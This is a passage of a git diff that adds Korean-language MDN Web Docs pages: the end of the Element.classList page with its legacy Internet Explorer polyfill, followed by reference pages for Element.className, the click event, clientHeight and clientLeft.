+    DOMTokenList.prototype.add = function(){
+        a: for(var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v!==argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("add", val);
+            for (var i=0, Len=proto.length, resStr=val; i !== Len; ++i)
+                if (this[i] === val) continue a; else resStr += " " + this[i];
+            this[Len] = val, proto.length += 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    DOMTokenList.prototype.remove = function(){
+        for (var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v !== argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("remove", val);
+            for (var i=0, Len=proto.length, resStr="", is=0; i !== Len; ++i)
+                if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resStr+=this[i]+" "; }else{ is=1; } }
+            if (!is) continue;
+            delete this[Len], proto.length -= 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    window.DOMTokenList = DOMTokenList;
+    function whenPropChanges(){
+        var evt = window.event, prop = evt.propertyName;
+        if ( !skipPropChange &amp;&amp; (prop==="className" || (prop==="classList" &amp;&amp; !defineProperty)) ) {
+            var target = evt.srcElement, protoObjProto = target[" uCLp"], strval = "" + target[prop];
+            var tokens=strval.trim().split(wsRE), resTokenList=target[prop==="classList"?" uCL":"classList"];
+            var oldLen = protoObjProto.length;
+            a: for(var cI = 0, cLen = protoObjProto.length = tokens.length, sub = 0; cI !== cLen; ++cI){
+                for(var innerI=0; innerI!==cI; ++innerI) if(tokens[innerI]===tokens[cI]) {sub++; continue a;}
+                resTokenList[cI-sub] = tokens[cI];
+            }
+            for (var i=cLen-sub; i &lt; oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            if(prop !== "classList") return;
+            skipPropChange = 1, target.classList = resTokenList, target.className = strval;
+            skipPropChange = 0, resTokenList.length = tokens.length - sub;
+        }
+    }
+    function polyfillClassList(ele){
+        if (!ele || !("innerHTML" in ele)) throw TypeError("Illegal invocation");
+        ele.detachEvent( "onpropertychange", whenPropChanges ); // prevent duplicate handler infinite loop
+        allowTokenListConstruction = 1;
+        try{ function protoObj(){} protoObj.prototype = new DOMTokenList(); }
+        finally { allowTokenListConstruction = 0 }
+        var protoObjProto = protoObj.prototype, resTokenList = new protoObj();
+        a: for(var toks=ele.className.trim().split(wsRE), cI=0, cLen=toks.length, sub=0; cI !== cLen; ++cI){
+            for (var innerI=0; innerI !== cI; ++innerI) if (toks[innerI] === toks[cI]) { sub++; continue a; }
+            this[cI-sub] = toks[cI];
+        }
+        protoObjProto.length = cLen-sub, protoObjProto.value = ele.className, protoObjProto[" uCL"] = ele;
+        if (defineProperty) { defineProperty(ele, "classList", { // IE8 &amp; IE9 allow defineProperty on the DOM
+            enumerable:   1, get: function(){return resTokenList},
+            configurable: 0, set: function(newVal){
+                skipPropChange = 1, ele.className = protoObjProto.value = (newVal += ""), skipPropChange = 0;
+                var toks = newVal.trim().split(wsRE), oldLen = protoObjProto.length;
+                a: for(var cI = 0, cLen = protoObjProto.length = toks.length, sub = 0; cI !== cLen; ++cI){
+                    for(var innerI=0; innerI!==cI; ++innerI) if(toks[innerI]===toks[cI]) {sub++; continue a;}
+                    resTokenList[cI-sub] = toks[cI];
+                }
+                for (var i=cLen-sub; i &lt; oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            }
+        }); defineProperty(ele, " uCLp", { // for accessing the hidden prototype
+            enumerable: 0, configurable: 0, writeable: 0, value: protoObj.prototype
+        }); defineProperty(protoObjProto, " uCL", {
+            enumerable: 0, configurable: 0, writeable: 0, value: ele
+        }); } else { ele.classList=resTokenList, ele[" uCL"]=resTokenList, ele[" uCLp"]=protoObj.prototype; }
+        ele.attachEvent( "onpropertychange", whenPropChanges );
+    }
+    try { // Much faster &amp; cleaner version for IE8 &amp; IE9:
+        // Should work in IE8 because Element.prototype instanceof Node is true according to the specs
+        window.Object.defineProperty(window.Element.prototype, "classList", {
+            enumerable: 1,   get: function(val){
+                                 if (!hasOwnProp.call(this, "classList")) polyfillClassList(this);
+                                 return this.classList;
+                             },
+            configurable: 0, set: function(val){this.className = val}
+        });
+    } catch(e) { // Less performant fallback for older browsers (IE 6-8):
+        window[" uCL"] = polyfillClassList;
+        // the below code ensures polyfillClassList is applied to all current and future elements in the doc.
+        document.documentElement.firstChild.appendChild(document.createElement('style')).styleSheet.cssText=(
+            '_*{x-uCLp:expression(!this.hasOwnProperty("classList")&amp;&amp;window[" uCL"](this))}' + //  IE6
+            '[class]{x-uCLp/**/:expression(!this.hasOwnProperty("classList")&amp;&amp;window[" uCL"](this))}' //IE7-8
+        );
+    }
+})(window);
+// 3. Patch in unsupported methods in DOMTokenList
+(function(DOMTokenListProto, testClass){
+    if (!DOMTokenListProto.item) DOMTokenListProto.item = function(i){
+        function NullCheck(n) {return n===void 0 ? null : n} return NullCheck(this[i]);
+    };
+    if (!DOMTokenListProto.toggle || testClass.toggle("a",0)!==false) DOMTokenListProto.toggle=function(val){
+        if (arguments.length &gt; 1) return (this[arguments[1] ? "add" : "remove"](val), !!arguments[1]);
+        var oldValue = this.value;
+        return (this.remove(oldValue), oldValue === this.value &amp;&amp; (this.add(val), true) /*|| false*/);
+    };
+    if (!DOMTokenListProto.replace || typeof testClass.replace("a", "b") !== "boolean")
+        DOMTokenListProto.replace = function(oldToken, newToken){
+            checkIfValidClassListEntry("replace", oldToken), checkIfValidClassListEntry("replace", newToken);
+            var oldValue = this.value;
+            return (this.remove(oldToken), this.value !== oldValue &amp;&amp; (this.add(newToken), true));
+        };
+    if (!DOMTokenListProto.contains) DOMTokenListProto.contains = function(value){
+        for (var i=0,Len=this.length; i !== Len; ++i) if (this[i] === value) return true;
+        return false;
+    };
+    if (!DOMTokenListProto.forEach) DOMTokenListProto.forEach = function(f){
+        if (arguments.length === 1) for (var i = 0, Len = this.length; i !== Len; ++i) f( this[i], i, this);
+        else for (var i=0,Len=this.length,tArg=arguments[1]; i !== Len; ++i) f.call(tArg, this[i], i, this);
+    };
+    if (!DOMTokenListProto.entries) DOMTokenListProto.entries = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex&lt;that.length ? {value: [nextIndex, that[nextIndex]], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.values) DOMTokenListProto.values = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex&lt;that.length ? {value: that[nextIndex], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.keys) DOMTokenListProto.keys = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex&lt;that.length ? {value: nextIndex, done: false} : {done: true};
+        }};
+    };
+})(window.DOMTokenList.prototype, window.document.createElement("div").classList);
+})(window);
+</pre>
+
+<h3 id="Caveats">Caveats</h3>
+
+<p>The polyfill is limited in functionality. It's currently unable to polyfill out-of-document-elements (e.g. elements created by <code>document.createElement</code> before they are appended to a parent node) in IE6-7.</p>
+
+<p>However, it should work just fine in IE9. A major discrepancy between the polyfilled version of <code>classList</code> and the W3 specs is that for IE6-8, there is no way to create an immutable object (an object whose properties cannot be directly modified). In IE9, however, it is possible through extending the prototype, freezing the visible object, and overwritting native property methods. However, such actions would not work in IE6-IE8 and, in IE9, slow the performance of the entire webpage to a snail's crawl, making these modifications completely impractical for this polyfill.</p>
+
+<p>A minor note is that in IE6-7, this polyfill uses the <code>window[" uCL"]</code> property on the window object for communicating with the CSS expressions, the <code>x-uCLp</code> css property on all elements, and the <code>element[" uCL"]</code> property on all elements to allow garbage collection and boost performance. In all polyfilled browsers (IE6-9), an additional <code>element[" uCLp"]</code> property is added to element to ensure standards compliant prototyping, and a <code>DOMTokenList[" uCL"]</code>property is added to each <code>element["classList"]</code> object to ensure that the DOMTokenList is bounded to its own element.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Element.classList")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("element.className")}}</li>
+ <li>{{domxref("DOMTokenList")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/classname/index.html b/files/ko/web/api/element/classname/index.html
new file mode 100644
index 0000000000..866678adb2
--- /dev/null
+++ b/files/ko/web/api/element/classname/index.html
@@ -0,0 +1,122 @@
+---
+title: Element.className
+slug: Web/API/Element/className
+translation_of: Web/API/Element/className
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="개요">개요</h2>
+
+<p><strong>className</strong> 특정 엘리먼트의 클래스 속성의 값을 가져오거나 설정할 수 있다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>var cName</var> = <var>elementNodeReference</var>.className;
+<var>elementNodeReference</var>.className = <var>cName</var>;</pre>
+
+<ul>
+ <li><var>cName은 현재 요소의 클래스 혹은 공백으로 구분된 클래스들을 표현하는 문자열 변수이다.</var></li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let elm = document.getElementById('item');
+
+if(elm.className === 'active'){
+    elm.className = 'inactive';
+} else {
+    elm.className = 'active';
+}</pre>
+
+<h2 id="Notes" name="Notes">주의</h2>
+
+<p>많은 언어에서 DOM 조작을 위해 사용되는 "class " 키워드와의 혼란을 줄이기 위하여 class 대신 className이라는 프로퍼티 명을 사용한다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세서</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-classname", "element.className")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-classname", "element.className")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-95362176", "element.className")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="살펴보기">살펴보기</h2>
+
+<ul>
+ <li>{{domxref("element.classList")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/click_event/index.html b/files/ko/web/api/element/click_event/index.html
new file mode 100644
index 0000000000..97a03f2921
--- /dev/null
+++ b/files/ko/web/api/element/click_event/index.html
@@ -0,0 +1,227 @@
+---
+title: click
+slug: Web/API/Element/click_event
+tags:
+  - API
+  - DOM
+  - Event
+  - Interface
+  - Reference
+translation_of: Web/API/Element/click_event
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>click</code></strong> 이벤트는 포인팅 디바이스 버튼(일반적으로 마우스 기본 버튼)이 하나의 요소(엘리먼트)에서 눌려지고 놓을 때 시작합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th>Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Sync / Async</th>
+   <td>Sync</td>
+  </tr>
+  <tr>
+   <th>Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Cancelable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Target</th>
+   <td>{{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <th>Composed</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Default Action</th>
+   <td>Varies</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>이벤트 타겟 (DOM 트리 내에서의 최상위 타겟).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>이벤트의 타입.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>이벤트가 정상적으로 버블을 발생시키는지 여부</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>이벤트 취소 가능 여부</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>{{domxref("WindowProxy")}}</td>
+   <td>{{domxref("Document.defaultView")}} (문서의 <code>window</code>)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>짧은 시간 내에 발생한 연속 클릭 수로, 1씩 증가합니다.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>이벤트 리스너가 연결된 노드.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td><code>ouseover</code>, <code>mouseout</code>, <code>mouseenter</code>, <code>mouseleave</code> 이벤트: 이벤트에 대한 보조 타겟 (<code>mouseenter</code> 의 경우는 <code>mouseleave</code> 타겟). 그렇지 않으면 <code>null을</code> 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td><code>long</code></td>
+   <td>글로벌(스크린) 좌표에서 마우스 포인터의 X 좌표.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td><code>long</code></td>
+   <td>글로벌(스크린) 좌표에서 마우스 포인터의 Y 좌표.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td><code>long</code></td>
+   <td>로컬(DOM 컨텐츠) 좌표에서 마우스 포인터의 X 좌표.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td><code>long</code></td>
+   <td>로컬(DOM 컨텐츠) 좌표에서 마우스 포인터의 Y 좌표.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td><code>unsigned short</code></td>
+   <td>마우스 이벤트가 발생했을 때 누른 버튼 번호: 왼쪽 버튼=0, 가운데 버튼=1 (있다면), 오른쪽 버튼=2. 왼손잡이용 마우스의 경우 버튼 동작을 반대로하면, 값은 오른쪽에서 왼쪽으로 읽습니다.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td><code>unsigned short</code></td>
+   <td>마우스 이벤트가 발생했을 때 눌려진 버튼: 왼쪽 버튼=1, 오른쪽 버튼=2, 가운데(휠) 버튼=4, 4번째 버튼(일반적으로 브라우저의 뒤로가기 버튼)=8, 5번째 버튼 (일반적으로 앞으로가기 버튼)=16. 두개 이상의 버튼을 누르면, 값의 논리합이 반환됩니다. 예를 들어 왼쪽 버튼과 오른쪽 버튼을 누르면 3이 반환됩니다. (1 | 2). <a href="/ko/docs/Web/API/MouseEvent">보다 자세한건 여기를 참조하세요</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td><code>float</code></td>
+   <td>이벤트를 발생시킬 때 터치 또는 탭 장치에 적용되는 압력의 양; 이 값의 범위는 0.0(최소 압력)과 1.0(최대 압력) 사이 입니다.</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>이벤트가 발생했을 때 컨트롤 키가 눌러져 있으면 <code>true</code> 그렇지 않으면 <code>false</code> 를 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>이벤트가 발생했을 때 시프트 키가 눌러져 있으면 <code>true</code> 그렇지 않으면 <code>false</code> 를 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>이벤트가 발생했을 때 알트 키가 눌러져 있으면 <code>true</code> 그렇지 않으면 <code>false</code> 를 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>이벤트가 발생했을 때 메타 키가 눌러져 있으면 <code>true</code> 그렇지 않으면 <code>false</code> 를 반환합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 {{htmlelement("button")}}의 연속한 클릭 수를 표시합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button&gt;Click&lt;/button&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const button = document.querySelector('button');
+
+button.addEventListener('click', event =&gt; {
+  button.innerHTML = `클릭 수: ${event.detail}`;
+});
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>빠르고 반복적인 클릭으로 카운터를 늘려보세요. 클릭 중간에 쉬면 숫자가 초기화됩니다.</p>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-click')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td>Specifies this event as composed.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-click', 'click')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-eventgroupings-mouseevents-h3', 'click')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Element.click_event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("GlobalEventHandlers.onclick")}}</li>
+ <li>{{event("mousedown")}}</li>
+ <li>{{event("mouseup")}}</li>
+ <li>{{event("mousemove")}}</li>
+ <li>{{event("click")}}</li>
+ <li>{{event("dblclick")}}</li>
+ <li>{{event("mouseover")}}</li>
+ <li>{{event("mouseout")}}</li>
+ <li>{{event("mouseenter")}}</li>
+ <li>{{event("mouseleave")}}</li>
+ <li>{{event("contextmenu")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/clientheight/index.html b/files/ko/web/api/element/clientheight/index.html
new file mode 100644
index 0000000000..764e72b18d
--- /dev/null
+++ b/files/ko/web/api/element/clientheight/index.html
@@ -0,0 +1,70 @@
+---
+title: Element.clientHeight
+slug: Web/API/Element/clientHeight
+translation_of: Web/API/Element/clientHeight
+---
+<p>{{ APIRef() }}</p>
+
+<p><code>읽기 전용 속성인<strong> Element.clientHeight</strong>은</code> 엘리먼트의 내부 높이를 픽셀로 반환합니다. 이 내부 높이라는 것은 내부 여백(padding)을 포함하지만, 수평 스크롤바의 높이, 경계선, 또는 외부 여백(margin)은 포함하지 않습니다.</p>
+
+<p><code>clientHeight는 CSS상의 높이 + CSS상의 내부 여백 - 수평 스크롤바의 높이(존재하는 경우에만)로 </code> 계산됩니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 속성은 integer로 반올림됩니다. 소수점이 포함된 값이 필요하다면, {{ domxref("element.getBoundingClientRect()") }}을 사용하시기 바랍니다.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">구문</h2>
+
+<pre class="syntaxbox">var <var>h</var> = <var>element</var>.clientHeight;</pre>
+
+<p><code><var>h는</var></code> 엘리먼트의 높이를 나타내는 픽셀 단위의 integer입니다.</p>
+
+<h2 id="Example" name="Example">예</h2>
+
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+
+<p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+
+<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/" rel="freelink">http://www.best-cat-art.com/</a></p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -20px;">Top</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em></div>
+
+<p style="margin-top: 270px;"> </p>
+
+<h2 id="Specification" name="Specification">스펙 정의</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-clientheight', 'clientheight')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">주의</h3>
+
+<p><code>clientHeight는 </code>Internet Explorer의 객체 모델에서 소개된 속성입니다.</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Element.offsetHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Determining_the_dimensions_of_elements">MSDN Determining the dimensions of elements</a></li>
+</ul>
diff --git a/files/ko/web/api/element/clientleft/index.html b/files/ko/web/api/element/clientleft/index.html
new file mode 100644
index 0000000000..9e7afd0a4e
--- /dev/null
+++ b/files/ko/web/api/element/clientleft/index.html
@@ -0,0 +1,66 @@
+---
+title: Element.clientLeft
+slug: Web/API/Element/clientLeft
+translation_of: Web/API/Element/clientLeft
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p>엘리먼트의 왼쪽 테두리의 너비 (픽셀 단위)입니다. 엘리먼트의 텍스트 방향이 오른쪽에서 왼쪽이고 오버플로로 인해 왼쪽 수직 스크롤 막대가 렌더링되는 경우 수직 스크롤 막대의 너비가 포함됩니다. <code>clientLeft</code>는 왼쪽 여백 또는 왼쪽 패딩을 포함하지 않습니다. <code>clientLeft</code>는 읽기 전용입니다.</p>
+
+<p><a href="en/Gecko">Gecko</a> 기반 응용 프로그램은 Gecko 1.9부터 clientLeft를 지원합니다. (<a href="en/Firefox_3">Firefox 3</a>, {{ Bug(111207) }}에서 구현됨). 이 속성은 Firefox 2 이전 버전은 지원하지 않습니다.</p>
+
+<p><a href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> 환경 설정</a>이 1 또는 3으로 설정되고 텍스트 방향이 RTL로 설정된 경우 세로 스크롤 막대가 왼쪽에 배치되며 이는 clientLeft가 계산되는 방식에 영향을줍니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 속성은 값을 정수로 반올림합니다. 소수점 단위 값이 필요할 경우, {{ domxref("element.getBoundingClientRect()") }}을 사용하십시오.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>left</var> = <var>element</var>.clientLeft;
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clientleft', 'clientLeft')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.clientLeft")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p><code>clientLeft</code> was first introduced in the MS IE DHTML object model.</p>
+
+<p>The position of the vertical scrollbar in right–to–left text direction set on the element will depend on the <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> preference</a></p>
+
